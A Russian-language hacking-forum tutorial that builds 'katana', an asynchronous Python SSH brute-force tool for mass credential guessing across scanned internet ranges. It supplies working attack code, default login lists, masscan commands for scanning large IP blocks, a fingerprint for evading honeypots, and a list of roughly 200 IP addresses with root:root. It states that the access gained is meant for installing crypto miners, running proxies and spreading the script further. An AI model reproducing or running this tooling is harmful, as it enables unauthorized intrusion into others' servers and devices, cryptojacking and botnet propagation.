Пишем асинхронный ssh bruteforce на Python.

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,472
Реакции
9
Привет. Сегодня мы c вами вместе напишем прототип асинхронного скрипта для перебора ssh доступов на Python, который будет работать стабильней и быстрее чем такие инструменты как hydra и medusa.
А также может работать со списками ip выгруженными прямо из утилиты masscan.


О SSH
Если вдруг есть люди из танка:
SSH - это протокол прикладного уровня, позволяет удаленно управлять другим машинами, и пробрасывать (тунеллировать) трафик, (что-то типа vpn). Весь трафик проходящий по ssh протоколу - шифруется.
ssh повсеместно используется для управления серверами, ip камерами, роутерами и всем подобным. Должен сказать что устройств в сети которые поддерживают ssh - огромное количество. Обычно ssh работает по 22 порту, но бывают и исключения.


О нашем скрипте
Поскольку существуют такие системы как fail2ban то точечный брутфорс одного хоста без прокси - невозможен. Ибо после нескольких неудачных попыток ввода пароля, мы сразу-же получим бан.
По этому наш скрипт будет предназначен только для массовых атак, и работать следующим образом:
Мы будем делать итерации по списку хостов на предмет одной комбинации популярных логинов и паролей. После прохода итерации, пройдет достаточное время для того что-бы fail2ban нас не забанил, и скрипт пепейдет к следующей итерации уже с новой комбинацией логина и пароля.
Конечно с такой логикой работы наш скрипт это скорее "Парсер доступов со стандартными логинами и паролями" нежели брутфорс. Но зато есть один огромный плюс - нам не нужны прокси.


Почему на Python?
Так же как это работает с Правилом Интернета №34 которое гласит: "На любую популярную тему в интернете - есть порно".
Так же и с Python: "О чем бы ты не подумал - на это уже написана библиотека или обертка на python"
И в данном случае, всю грязную работу за нас уже сделала библиотека asyncssh.
Точнее сделал ее создатель
Рон Фредерик


Вот так выглядит настоящий хакер
1901085






Внимание! Возможно своим кодом ниже, я только вызову у вас возмущение, ненависть, боль и осознание того что мир обречен из за невежества подрастающего поколения.
Вместо бранных речей, в мою сторону, лучше укажите мне на мои ошибки, и я смиренно буду впитывать информацию, потому-что осознаю, что я всего-лишь холоп на просторах информационных технологий.


Начнем с импорта библиотек, которые нам понадобятся
Код:
import asyncio                     # Стандартная библиотека для работы с асинхронным кодом
import asyncssh                    # Блиблиотека для асинхронной работы с ssh протоколом
import argparse                    # Блиблиотека для парсинга аргументов командной строки
from itertools import islice       # Для работы со списком хостов
from  asyncssh.misc import ConnectionLost, PermissionDenied,  ProtocolNotSupported, ChannelOpenError, ProtocolError # Импортируем  исключения
import re                                 # Для работы с регулярными выражениями




По сути, все что нам нужно сделать, для того что-бы узнать рабочий ли сервер, это аутентифицироваться и выполнить команду на удаленном сервере.
Если команда выполняется, значит сервер - гуд.
Для того что-бы наш скрипт не простаивал во время ожидания ответа от сервера, а занимался в это время полезными делами - нам и пригодится асинхронность.


Подробнее про асинхронное программирование в Python можно прочитать из этой статьи _ttps://habr.com/ru/post/337420/
Если в двух словах - есть цикл событий (event loop) в котором крутятся все задачи которые нужно выполнить. И есть корутины - это асинхронные функции, они запускаются из цикла событий.
Когда в нашем скрипте корутина достигает блокировки (ожидание ответа на запрос от сервера) управление передается следующей корутине. И так далее.
Таким образом можно делать очень много запросов практически одновремеенно.


Давайте напишем нашу корутину:


Код:
async def make_connection(ip, login, password):
    try:
        async with connect(ip, username=login, password=password, known_hosts=None) as conn:
            result = await conn.run('whoami', check=True, timeout=5)
            if result.stdout.strip().lower() == login:
                return 0
    except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
        return 1
    except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
        return 1
    except PermissionDenied:
        return 2
    except Exception:
        return 1




Что здесь произошло?
Tom_and_Jerry_meme.png

Выглядит наша корутина как обычная функция с префиксом async, принимает 3 агрумента ip, login, password. хост куда подключаемся и данные, с которыми логинимся соответственно.
Используя контекстный менеджер with получаем дескриптор подключения используя asyncssh.connect()ив параметрах передаем хост и данные, параметр known_hosts=None указывает, что не надо искать ключи подключения на компьютере, а сразу-же подключатся используя логин и пароль.
Сохраняем в переменную conn и вызываем метод run() с помощью которого в библиотеке asyncssh можно отправить команду в удаленный терминал.
В нашем случае отправляем whoami (команда должна вернуть имя пользователя).
Таким образом если мы будем коннектится с логином root, и whoami вернет root, значит сервер - валид.


Я знаю, что whoami - это далеко не самый идеальный способ проверки, но статья носит сугубо ознакомительный характер и служит для того что-бы показать пример.
Если вы знаете способ получше - то сообщите мне его.


Если ловим исключения связанные с подключением - возвращаем 1
Значит по каким-то причинам хост не отвечает.
Если ловим PermissionDenied - исключение связанные с неправильным логином и паролем - возвращаем 2
Значит не подошел пароль.
В случае успешного выполнения whoami на удаленном сервере - возвращаем 0


Что касается
Код:
except Exception:
Расскажу небольшую историю:
Я сам вообще не кодер, нигде никогда не работал и не учился, а просто клацал питон самостоятельно, дома.
И в моем обучении был момент истины, до которого все мои скрипты не работали, а после которого заработали.
Однажды мне товарищ питонист, сказал что без try: except Exception: ни один код в продакшене у них не работает.
После этого откровения все мои программы заработали)
И в нашем случае тоже, потому-что на самом деле бог его знает, сколько там еще ошибок вылезет от такого количества запросов.
Меня хватило только отловить несколько самых популярных, а остальное мы положим на плечи try: except Exception.




Едем дальше
Поскольку в методе asyncssh.connect нет параметра timeout, то мы обернем нашу корутину методом asyncio.wait_for() который как раз создан для таких ситуаций.
В методе asyncssh.run() параметр timeout есть, и он касается только ожидания ответа на нашу команду whoami, а не на подключение в целом.
asyncio.wait_for() принимает на вход корутину и время, за которое она должна выполнится. Если корутина не успевает выполниться - будет вызвано исключение asyncio.TimeoutError, которое мы благопалучно ловим.


asyncio.Semaphore служит ограничением в одновременно выполняемых корутин (в нашем случае, коннектов. Потому-что пул одновременных коннектов не резиновый)
Если не обернуть нашу корутину в Semaphore, то если вы загрузите 1 миллион хостов на проверку, то скрипт попытается выполнить миллион запросов одновременно.
Естественно операционная система, сам компьютер и интерпретатор пайтона все вместе пошлют нас куда подальше, при таких раскладах.
По этому Semaphore здесь необходим.


Код:
semaphore  = asyncio.Semaphore(args.c)                    # Обьявляем наш семофор.  Который будет ограничивать до количества указанного в параметре  командной строки


async def work(ip, login, password, fh):
    async with semaphore:
        try:
            result = await asyncio.wait_for(make_connection(ip, login, password), timeout=args.timeout)


            if result == 1:
                save_result('bad', fh, ip, login, password)
            if result == 2:
                save_result('wrong', fh, ip, login, password)
            if result == 0:
                save_result('good', fh, ip, login, password)
            if result == 3:
                save_result('honeypot', fh, ip, login, password)


        except asyncio.TimeoutError:
            save_result('bad', fh, ip, login, password)


В зависимости от возврата корутины make_connection(), сохраняем данные в файл с помощью функции save_result() которую мы напишем и она кстати будет выглядеть вот так:
Код:
def save_result(file, file_handle, ip, login, password):
    print(f'{ip}:{login}:{password}', file=file_handle[file])
    if not args.dp:
        print(f'[{get_index()}]\t\t[{file}]\t\t{ip}')




fh - это словарь, в котором будет лежать дескриптор файла в который будем сохранять результат.
Мы заранее откроем все файлы, что-бы не тратить ресурс на их открытие каждый и поместим дескрипторы в переменную fh таким образом:


Код:
def open_files():
    files = {'good': open('good.txt', 'a'),
             'bad': open('bad.txt', 'a'),
             'wrong': open('wrong.txt', 'a'),
             'honeypot': open('honeypot.txt', 'a')}
    return files


fh = open_files()




Ну как бы, на этом почти все. Фундамент нашего супер-брутфорса уже положен, осталось только дописать парсинг хостов из файла и запуск наших корутин из цикла событий.


Загружаем файл с айпишниками:
Код:
def load_hosts():
    with open(f'{args.path}') as file:      # args.path - будущий параметр командной строки (путь к файлу)
        for line in file:
            yield ''.join(re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line))

С помощью yield делаем из нашей функции - генератор, и читаем файл по одной строке. Для того что-бы не загружать весь файл в оперативную память.
Таким образом в наш скрипт можно будет смело загружать много миллионов хостов, и мы не будем боятся что он отвалится по памяти.
С помощью регулярного выражения "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" ищем в каждой строке ip адрес.
Это мы делаем для того, что-бы в наш скрипт был совместим с результативным логом утилит типа masscan и принимал списки даже такого вида:


Код:
Host: 221.34.0.15 () Ports:22/open/tcp///
Host: 143.22.75.1 () Ports:22/open/tcp///
Host: 43.12.55.1 () Ports:22/open/tcp///


Далее создаем функцию загрузки файла с заранее подготовленным списком комбинация логинов и паролей.


Код:
def load_credentials():
    with open('credentials.txt') as file:
        return [(line.split(':')[0], line.split(':')[1].strip()) for line in file.readlines()]


Возвращать будет наша функция load_credentials() кортеж вида (login, password).
Вот примерный список самых популярных комбинаций логинов и паролей, что мне удалось найти:


Код:
root:root
oracle:oracle
root:123456
root:abc123
root:password
root:default
admin:default
test:toor
root:dietpi
support:support
root:!@
ubnt:ubnt
ftp:ftp


Собственно этот список у нас и хранится в файле credentials.txt


Теперь давайте запилим цикл событий.
Поскольку если мы загрузим в наш цикл событий сразу-же много миллионов задач, то он попросту завалится и пошлет куда подальше.
По этому спомощью следующей хитрой конструкции со stackoverflow, мы будем подавать нашему скрипту хосты кусками по 100 000 штук, для стабильности.


Код:
def chunks(n, iterable):
    i = iter(iterable)
    piece = list(islice(i, n))
    while piece:
        yield piece
Запускать будем нашу корутину work() из другой корутины run()


Код:
async def run(targets, login, password, fh):
    tasks = []
    for target in targets:
        tasks.append(work(target, login, password, fh))
    await asyncio.gather(*tasks)


Генерируем задачи и добавляем их в цикл событий.
Для каждого чанка, создаем новый цикл событий и перезапускаем его.


Код:
def main():
    targets = chunks(100000, load_hosts())                                # Делим хосты на куски по 100 000
    for login, password in load_credentials():                            # Обходим циклом каждый логин и пароль в credentials
        for chunk in targets:                                            # Обходим циклом каждый кусок списка хостов
            loop = asyncio.get_event_loop()                                # Создаем цикл событий
            future = asyncio.ensure_future(run(chunk, login, password))    # формируем задания
            loop.run_until_complete(future)                             # Запускаем




Вуа-ля. Наш скрипт почти готов.
Но остались еще небольшие нюансы. Поскольку мы пишем скрипт для людей, то надо реализовать парсинг параметров командной строки.


А для того, что-бы наш был настоящим хакерским скриптом, то надо придумать какой-нибудь пафосное название, как medusa или hydra.
Поскольку мне нравятся мечи, то пусть будет katana.
И еще одина неотъемлемая часть нашего хакерского инструмента - это ASCII арт в заголовке.


Код:
intro = ['                                      ',
         '          katana - the ssh bruteforce tool',
         '              /\\',
         '  /vvvvvvvvvvvv \--------------------------------------,',
         '  `^^^^^^^^^^^^ /====================================="',
         '              \/',
         '                  by dortmund457']


Что-бы все знали кто тут крутой хакер (пишущий 100-строчный сырой скрипт на питоне и на готовых библиотеках), обязательно надо добавить by ваш_ник.


Парсим параметры командной строки:
Код:
def parse_args():
    parser = argparse.ArgumentParser(description='katana - the ssh bruteforce tool')
    parser.add_argument('path', type=str, help='path to hosts file')
    parser.add_argument('-c', '--connections',  type=int, default=250, help='count of parallel connections')
    parser.add_argument('-t', '--timeout', type=int, default=7, help='timeout')
    parser.add_argument('-dp', action='store_true', help='disable stdout printing')
    return parser.parse_args()


В итоге имеем обязательный параметр path, в который надо передать путь до файла с хостами.
И 3 необязательных -с и -t отвечающих за количество потоков (asyncio.Semaphore), и таймаут.
Ну и -dp который отключает вывод в stdout (для ускорения экономии ресурсов)
В итоге запускать скрипт надо будет таким образом.


Код:
python3 katana.py /home/bomj/hosts.txt -c 300 -t 15


О скорости
Поскольку я холоп, я не знаю какое количество одновременных запросов можно делать с одного хоста. Насколько мне известно это зависит от операционной системы.
По моим наблюдениям оптимальное количество параллельных запросов - 300. Но можно поиграться с этим числом.
300 параллельных коннектов с таймаутом в 5 секунд выдадут:


3600 попыток в минуту
216 000 попыток в час
5 184 000 попыток в сутки


Не могу сказать много это или мало, но это больше чем выдавала hydra и medusa.
А если быть более точным, они не выдают такой результат потому-что в отличии от нашего скрипта - отваливаются спустя 100 000 хостов.


Список хостов можно добыть с помощью утилиты nmap или masscan
Для массового скана рекомендую использовать последний.
Установить его на ubuntu\debian системах можно так:
Код:
apt-get install masscan
На винду тоже есть:
_ttps://github.com/robertdavidgraham/masscan/releases
А запускать его такой командой:
Код:
masscan -p22 0.0.0.0-50.0.0.0 --rate=10000 -oG hosts.txt
Где 0.0.0.0-50.0.0.0 это диапазон ip
-p22 это наш 22ой ssh порт
--rate=10000 количество потоков, не рекомендую ставить больше 10 000 хотя можно хоть 300 000 и будет работать, но недолго
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7

-oG записываем результат в файл hosts.txt




О плохом и плохих людях...
O honey pot'ах и умников которые их разрабатывают.
Есть умники, которым заняться не чем и они начинают писать всякую х*ню, для того что-бы нагадить нормальным парням, вроде нас.
Вот неполный список умников и того что они написали:
Код:
_ttps://github.com/desaster/kippo
_ttps://github.com/droberson/ssh-honeypot
_ttps://github.com/cowrie/cowrie
Лучше бы нормальным делом занялись.


tomhoney.jpg



Что такое honeypot?
Ну если грубо, то эмулятор рабочего ssh подключения, который не является настоящим устройством, а специально разработан, для того что-бы отлавливать таких как мы и более того - смотреть, с какими паролями мы подключаемся и что мы делаем на сервере, когда получим доступ.
Но по факту, к ханипотам подходят любая комбинация из логинов и паролей.
Для того что-бы потом накатать на нас абузу дяде Сему.
Крысятничество - вот истинная сущность honey pot ов.
Ибо 98% всех наших гудов - будут именно honeypot'ы.
Знали бы они, как моя искренняя радость, от вида файла good.txt пополняющегося доступами - заменяется негодованием когда понимаешь что все эти доступы - мусор.


Как c ними бороться?
Ну насколько я понимаю так-же как и малваре-писатели борются с песочницами. Надо высмотреть какой-то параметр системы, который есть именно у песочницы или виртуалки.
Будть то наличие диска D:\ на windows системах, id драйверов итд. Так - же и нам, надо поковырять систему... а если быть точным - много систем одинакового типа, для того что-бы определить 1 общий параметр у honeypot'ов, по которому мы будем их исключать. По буржуйски это называется фингерпринтинг.


Код:
root:root:118.89.25.121
root:root:119.160.131.176
root:root:123.206.108.219
root:root:123.59.120.95
root:root:123.59.213.102
root:root:123.207.107.83
root:root:123.59.213.136
root:root:123.59.213.25
root:root:128.0.186.230
root:root:123.59.213.82
root:root:123.59.213.77
root:root:129.205.5.186
root:root:115.110.207.121
root:root:123.59.213.79
root:root:13.232.93.179
root:root:13.211.74.111
root:root:13.211.31.230
root:root:123.59.213.85
root:root:13.250.104.221
root:root:134.209.188.85
root:root:132.147.91.145
root:root:13.250.64.15
root:root:13.233.123.67
root:root:134.209.192.195
root:root:134.209.247.68
root:root:134.209.24.140
root:root:134.122.28.67
root:root:134.209.77.174
root:root:134.209.152.254
root:root:134.209.25.247
root:root:134.209.99.171
root:root:13.52.218.70
root:root:13.58.234.170
root:root:13.58.84.254
root:root:13.59.146.46
root:root:138.197.165.238
root:root:138.197.142.60
root:root:138.197.155.137
root:root:138.197.140.147
root:root:138.68.62.134
root:root:138.68.62.24
root:root:139.59.23.196
root:root:138.68.53.175
root:root:138.68.59.241
root:root:139.180.144.190
root:root:138.68.57.220
root:root:139.180.137.112
root:root:139.59.61.68
root:root:139.180.213.82
root:root:139.59.20.60
root:root:139.178.108.63
root:root:139.59.69.23
root:root:139.59.70.64
root:root:139.59.39.126
root:root:139.59.77.170
root:root:139.59.40.28
root:root:139.59.58.113
root:root:139.59.92.207
root:root:139.59.95.39
root:root:139.59.79.115
root:root:139.59.92.226
root:root:142.93.128.164
root:root:139.59.78.53
root:root:139.59.95.41
root:root:141.170.139.62
root:root:142.93.55.88
root:root:142.93.82.94
root:root:142.93.68.68
root:root:151.96.2.68
root:root:142.93.19.63
root:root:167.71.158.217
root:root:167.172.97.186
root:root:18.156.163.184
root:root:167.172.97.175
root:root:18.156.165.232
root:root:18.156.173.67
root:root:165.22.106.216
root:root:153.127.16.167
root:root:178.128.84.186
root:root:18.138.58.37
root:root:18.139.255.161
root:root:139.59.8.37
root:root:1.65.155.155
root:root:18.197.40.88
root:root:18.162.48.21
root:root:18.208.142.77
root:root:18.221.47.178
root:root:18.212.96.94
root:root:185.167.184.63
root:root:194.213.60.70
root:root:194.228.3.52
root:root:200.70.38.5
root:root:193.165.172.18
root:root:209.97.152.252
root:root:201.234.91.59
root:root:193.165.115.238
root:root:196.0.42.110
root:root:210.149.76.192
root:root:213.144.147.49
root:root:213.211.54.140
root:root:210.69.12.79
root:root:213.220.214.202
root:root:220.242.130.193
root:root:213.194.253.117
root:root:217.30.77.180
root:root:217.170.103.137
root:root:3.0.51.68
root:root:216.104.206.228
root:root:31.134.100.205
root:root:24.35.86.207
root:root:24.247.231.170
root:root:3.127.235.39
root:root:3.12.73.105
root:root:31.208.216.151
root:root:34.202.160.161
root:root:31.31.231.153
root:root:31.47.99.177
root:root:3.248.209.133
root:root:34.210.126.30
root:root:34.201.92.252
root:root:34.228.8.33
root:root:34.243.131.202
root:root:34.229.202.21
root:root:34.252.18.236
root:root:34.245.34.255
root:root:34.201.105.107
root:root:34.242.128.182
root:root:35.175.122.13
root:root:24.62.28.8
root:root:34.93.228.186
root:root:35.185.167.211
root:root:34.93.147.233
root:root:35.176.29.24
root:root:37.187.120.109
root:root:35.200.133.234
root:root:35.229.196.157
root:root:35.200.181.232
root:root:37.17.234.117
root:root:37.221.254.179
root:root:37.143.116.69
root:root:3.80.111.151
root:root:37.143.114.239
root:root:3.84.213.22
root:root:37.44.20.140
root:root:3.217.16.191
root:root:3.87.116.114
root:root:3.87.173.172
root:root:3.88.187.21
root:root:3.90.29.58
root:root:3.90.199.41
root:root:3.94.194.91
root:root:3.106.131.246
root:root:41.77.78.250
root:root:45.151.175.210
root:root:41.210.129.102
root:root:41.210.129.106
root:root:45.32.41.174
root:root:45.32.118.207
root:root:45.56.75.90
root:root:46.101.34.252
root:root:45.76.151.112
root:root:45.59.126.152
root:root:46.231.72.124
root:root:45.65.244.133
root:root:45.92.238.189
root:root:46.183.57.45
root:root:46.227.182.3
root:root:46.13.58.131
root:root:46.149.120.37
root:root:46.231.72.58
root:root:46.231.72.43
root:root:46.13.100.254
root:root:46.13.170.103
root:root:45.82.233.13
root:root:46.13.30.40
root:root:46.228.24.222
root:root:46.167.231.173
root:root:46.39.185.7
root:root:45.79.212.97
root:root:46.33.117.7
root:root:46.47.166.2
root:root:46.33.119.203
root:root:46.39.164.4
root:root:46.253.99.15
root:root:46.13.59.196
root:root:5.104.16.71
root:root:47.186.38.102
root:root:5.181.51.248
root:root:52.14.192.9
root:root:5.135.189.97
root:root:51.68.106.175
root:root:5.150.236.53
root:root:52.170.187.145
root:root:52.183.13.164
root:root:52.193.202.226
root:root:49.245.126.208
root:root:52.53.167.53
root:root:52.47.137.28


Попробуем найти что-нибудь общее.
Посмотрим состояние дисков командой df и сравним вывод разных ханипотов.


11510
11511



Сразу же видим, что умники создающие ханипоты, не такие уж и умники.
Ибо название диска '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af' - общее для всех ханипотов.


Давайте воспользуемся этим изменим нашу основную корутину и отфильтруем нечестивые доступы.


Код:
kippo = '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af'




def is_honeypot(text):
    if kippo in text:
        return True
    else:
        return False


async def make_connection(h, l, p):
    try:
        async with connect(h, username=l, password=p, known_hosts=None) as conn:
            whoami = await conn.run('whoami', check=True, timeout=args.timeout)
            if whoami.stdout.strip().lower() == l:
                if args.ch:
                    df = await conn.run('df', check=True, timeout=args.timeout)
                    if is_honeypot(df.stdout.strip().lower()):
                        return 3
                return 0
    except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
        return 1
    except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
        return 1
    except PermissionDenied:
        return 2
    except Exception :
        return 1


Таким образом у нас появился новый код возврата - 3, что означает что хост honeypot.
Так-же поскольку, для проверки хоста мы делаем второй запрс - а это в 2 раза режет скорость нашего чека.
То давайте вынесем функционал проверки под аргумент командной строки -ch и таким образом, проверка хоста на нечестивость будет опциональной функцией.
Код:
parser.add_argument('-ch', action='store_true', help='check if host is honeypot')
И можно будет проверит список гудов отдельной проверкой.


На этом все. Полный скрипт прикриплен к теме в архиве.




Что можно еще допиливать в скрипте?
Очень много всего.
В первую очередь можно допилить БД, и записывать результаты туда.
Можно и нужно, отфильтровать оставшиеся ханипоты.
Можно распараллелить работу на несколько ядер используя multiprocessing.
Можно пилить авторазвертывание скрипта на свежеполученных доступах.


Зачем вообще брутить ssh?
Конечно же ради заветных доступов.
Как можно их использоавть?
Да по разному. Можно ставить xmrig, можно подымать прокси-сервер или vpn, а можно дублировать на них наш скрипт и продолжать брутить.
Конечно же большинство доступов будут ip камеры, и девайсы на которых очень маленький запас ресурсов. Но встречаются и высокопроизводительные серверы, и хранилища по 20TB.




В завершение...


med_1425408725_image.jpg



Хочу поблагодарить всех прочитавших, если вы осилили это до конца значит я не зря старался.
Если вам интересна тема брута ssh, то приглашаю обсуждать в тему /threads/37303/ или пишите мне в личку, обменяемся опытом и вместе сделаем че-нибудь получше этого.




Пароль от архива: xss.is
Для людей которые не читали и сразу-же качают скрипт.
Код:
python katana.py /путь/к/спискуip.txt
Результат будет записан в директории из которой запускается скрипт в файлах.
bad.txt - плохие ip
wrong.txt - рабочие сервера, но пароль неправильный (на речек)
good.txt - найденные сервера
honeypot.txt - ханипоты
Описание параметров:
Код:
python katana.py --help
-t таймаут в секундах (по дефолту 7)
-с количество параллельных соеденений (по дефолту 250)
-ch чекать на ханипоты (без параметра не чекается, скорость падает в 2 раза, лучше всего чекать уже good.txt
Для работы скрипта необходим интерпретатор Python версии не ниже 3.6
А так-же библиотека asyncssh
Код:
pip install asyncssh
или
Код:
python -m pip install asyncssh


Вложение: https://vk.cc/awsr4Q


Автор: dortmund457